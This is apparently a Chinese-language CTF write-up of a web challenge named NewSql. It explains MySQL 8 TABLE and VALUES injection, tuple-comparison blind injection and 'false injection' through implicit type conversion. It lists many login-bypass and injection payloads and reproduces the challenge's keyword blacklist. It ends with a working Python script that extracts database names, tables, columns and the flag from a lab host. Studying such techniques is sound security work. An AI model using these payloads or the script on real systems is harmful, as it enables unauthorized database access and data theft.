【胖哈勃的七月公开赛】NewSql
前几天参加了 【胖哈勃的七月公开赛】,无奈技术有限,两道 web 题目都没有做出来。有关系吗?
刚好昨天看到了 NewSql 这道题目的 writeup,就想着复盘一下。
做题期间
这些均是我做题期间的思考和尝试,大佬可直接绕过,查看赛后复盘
打开题目链接是一个登录框,遇见登录框首先想到的就是注入
一下子就看出来了是单引号注入,当场我就要拿出师傅传给我的秘密武器 sqlmap
来试一下,但是肯定是不行滴,还是老老实实的手工注入一下。
我大胆的猜测一下登录时的 sql 语句
$sql = "select * from users where username = '$username' and password = '$password'";
如此简单不是手到擒来,但是过滤了很多参数
后来我构造了这样的语句 username=admin&password=password'/**/or/**/123456#
再去请求第二遍的时候,就登录进去了
首先分析一下为什么这样会登录成功
这样构造登录成功之后,查看信息也并没有什么有用的信息,要找的 flag 是存在数据库中
就是漫长的尝试注入中,发现过滤了很多参数,后来给出了提示 Mysql 8 注入
Mysql 8 注入新特性
发现 Mysql 8 的注入特性
- table
- values
碎碎念
为了在本地对 mysql 数据库进行操作尝试,需要重新安装mysql环境,这是因为 phpstudy 中 mysql 只有 8.0.12,而新的注入关键字是出现在 mysql 8.0.19 之后。
sudo apt-get install mysql-server
sudo apt-get isntall mysql-client
sudo netstat -tap | grep mysql #查看mysql的启动状态
TABLE
首先选择数据库,然后利用 table 关键字,可以查询数据表中的内容。
TABLE 是 MySQL 8.0.19 中引入的 DML 语句,它返回命名表的行和列,类似于 SELECT,支持 UNION 联合查询、ORDER BY排序、LIMIT 子句限制产生的行数
我们注意到 table users;
& select * from users;
似乎是完全相同的,但是存在以下的不同点
- TABLE 始终显示表的所有列
- TABLE 不支持任何 WHERE 子句
VALUES
VALUES 是把一组一个或者多个行作为表显示出来,返回一个表数据,结合ROW() 会更好理解一些。
ROW() 返回的是一个行数据,VALUES 会将 ROW() 返回的行数据加上字段整理为一个表,然后展示。
注入技巧
判断列数
因为 VALUES 命令 和 TABLE 命令返回的都是表数据,他们返回的数据通过 union 语句联合起来时,当列数不对时会报错,可以通过这个来判断列数
判断回显位
select * from users where id=-1 union values row(1,2,3);
列出所有数据库名
table information_schema.schemata;
盲注查询任意表中的内容
table users limit 1;
查询结果
利用 table users limit 1; 会返回 users 这个表里面的第一行,网上的描述我并没有太理解,所以我决定用我自己的话+图,对这种盲注的现象进行一个解释
select ((1,'','')<=(table users limit 1));
& select ((2,'','')<=(table users limit 1));
表面上看是 (1,' ',' ')
与 table users limit 1
的比较,实际上是 (1,' ',' ')
与 (1,'admin','password')
的比较,比较顺序为从左往右,第一列(也就是第一个元组元素)判断正确再去判断第二列(也就是第二个元组元素)。两个元素第一个字符比大小,如果第一个字符相等就比较第二个字符的大小 ,依次类推,最后结果就是元组的大小。
如果返回结果是1,则证明有匹配项,如果是0,则证明没有匹配项,然后继续判断后面的列,直到最后一个。
小Tips
当前判断的所在列的后一列需要用字符进行表示,不能使用数字,否则判断到当前列的最后一个字符会判断不出!!
最好利用 <=
替换 <
, 用 <
比较一开始并没有什么问题,但是到了最后一位时,结果就为正确字符的前一个字符,所以用 <=
结果更加直观。
False注入
我们执行select * from users where username=0;
为什么username=0 会导致返回全部的数据呢
这里就不得不提到有关 MYSQL 的隐式类型转换。
- 如果两个参数做比较,有至少一个是NULL,则比较结果为 NULL。 NULL <=>,结果为真,不需要转换。
- 如果两个参数都是字符串,则按照字符串比较,不做类型转换。
- 如果两个参数都是整数,则按照整数比较,不做类型转换。
- 如果不与数字进行比较,则将十六进制值视为二进制字符串。
- 如果其中一个参数是 TIMESTAMP 或者 DATETIME,另一个参数是常量,则执行比较之前,常量会被转换为时间戳。
- 如果其中一个参数是十进制值,则比较取决于另一个参数。另一个参数是十进制值或者整数值,则将参数作为十进制值进行比较。另一个参数是浮点值,则将十进制值转换为浮点值进行比较。
- 在其他所有情况下,两个参数都会被转换为浮点值进行比较
可以看到在进行类型转换的时候,将字符串转换时会产生一个 warning,转换的结果为 0。如果字符串的第一个字符是非数字的字符,转换为数字就是 0 ;如果字符串是数字开头的话,会从数字部分截断,转换为数字;如果字符串全是数字的话,转换为整个字符串对应的数字。
注入技巧
在实际中遇到的 SQL 语句可能是这样的 select * from users where username='$username'
所以就要构造处理来实现 false 注入点
算数运算符
加: +
'+'
拼接的语句:select * from users where username='$username'+''
减:-
'-'
拼接的语句:select * from users where username='$username'-''
乘:*
'*'
拼接的语句:select * from users where username='$username'*''
除:/
'/6#
拼接的语句:select * from users where username='$username'/6#'
取余:%
'%1#
拼接的语句:select * from users where username='$username'%1#'
位操作运算符
和运算:&
'&0#
拼接的语句:select * from users where username='$username'&0#'
或运算:|
'|0#
拼接的语句:select * from users where username='$username'|0#'
异或运算:^
'^0#
拼接的语句:select * from users where username='$username'^0#'
移位操作:>> <<
'<<0#
'>>0#
拼接的语句:select * from users where username='$username'<<0#'
比较运算符
安全等于:<=>
'=0<=>1#
拼接的语句:select * from users where username='$username'=0<=>1#'
不等于:<=>
'=0<>0#
拼接的语句:select * from users where username='$username'=0<>0#'
大小于 > <
'>-1#
拼接的语句:select * from users where username='$username'>-1#'
Others
select * from users where username='test'=''-'';
select * from users where username='test'=~~'';
select * from users where username='test'=mod(pi(),pi());
讲了这么多,可能早就晕了,有关系吗?
我们再从这道题目的角度进行分析,对刚了解到的知识再进行巩固。
赛后复盘
根据官方提供的 writeup 是过滤了这些参数
|select|union|and|&&|updatexml|extractvalue|group|concat|have|sleep|database|insert|join|where|substr|char|mid|>|=|\|\||like|regexp|\\|if
结合之前有关 False 注入
和 Mysql8 注入
import requests
import string
url = 'http://192.168.153.131:8084/'
strings = string.digits + '_' + string.ascii_lowercase + '{}'
# 0123456789_abcdefghijklmnopqrstuvwxyz{}
def get_data(payload):
for j in range(0,10):
result = ''
for i in range(1,20):
for str in strings:
data = {
"username":payload.format((result + str),j),
"password":"123456"
}
res = requests.post(url = url,data = data,allow_redirects=True)
if "WELCOME" not in res.text:
result += chr(ord(str) - 1)
print(result)
break
if __name__ == "__main__":
payload_databases = "1'^(('def','{0}','',4,5,6)<(table/**/information_schema.schemata/**/limit/**/{1},1))#" #mysql information_schema performance_schema sys ctf
payload_tables = "1'^(('def','ctf','{0}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table/**/information_schema.tables/**/order/**/by/**/CREATE_TIME/**/DESC/**/limit/**/{1},1))#" # users f1aggghere
payload_columns = "1'^(('def','ctf','f1aggghere','{0}','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table/**/information_schema.columns/**/order/**/by/**/TABLE_SCHEMA/**/limit/**/{1},1))#" # flag id
payload_data = "1'^((1,'{0}')<(table/**/f1aggghere/**/limit/**/{1},1))#"
get_data(payload_data)
如果 false 注入成功之后就会跳转到登录后的页面,information_schema
库中每个表的字段数量可以通过在本地搜索判断,为了节约时间,尽快查找到所需要的数据,可以利用 table 可以拼接 order by 语句,根据表创建时间逆序,一般前几个就是存在数据的表。找到表之后为了查出其中存在的字段,可以拼接order by 语句,根据数据库名进行排序,因为数据库名为'ctf',所以很快就可以查出结果。然后就是查询表里面的信息了。